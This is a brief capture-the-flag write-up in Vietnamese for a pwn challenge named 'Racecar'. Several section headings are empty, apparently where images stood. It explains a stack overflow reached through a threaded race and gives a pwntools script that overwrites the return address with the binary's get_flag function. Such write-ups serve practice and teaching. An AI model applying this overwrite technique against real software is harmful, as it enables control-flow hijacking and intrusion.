Page cover

😴Racecar

Race condition

Source

Analysis

main()

run()

race()

get_flag()

Tổng quan: Chương trình yêu cầu nhập dữ liệu vào(*racers[]) và lưu nó lại. Sau đó tạo 1 thread con và gọi vào hàm random race() sau đó in ra màn hình: Our winner: ...

Exploit

Ở phần này, ta được nhập tối đa 256 bytes.

Sau đó set break point tại pthread_join để hàm race được thực thi.

Sau khi pthread_join thì stack bây giờ sẽ chứa phần payload mà mình vừa nhập vào.

Bây giờ để overflow được phần RIP thì phải ghi đè đến __libc_start_call_main(như ảnh trên).

from pwn import *

elf = context.binary = ELF("./racecar")
r = elf.process()

context.log_level = "DEBUG"
r.sendline(b"1")
r.sendline(b"A" * 256)
r.sendline(b"1")
r.sendline(b"B" * 62 + p64(elf.sym["get_flag"]))
while(True):
    r.sendline(b"2")
    r.recvuntil(b"winner: ")
    if len(r.recvline()[:-1]) > 0x100:
        break


gdb.attach(r, api = True)

r.interactive()

Last updated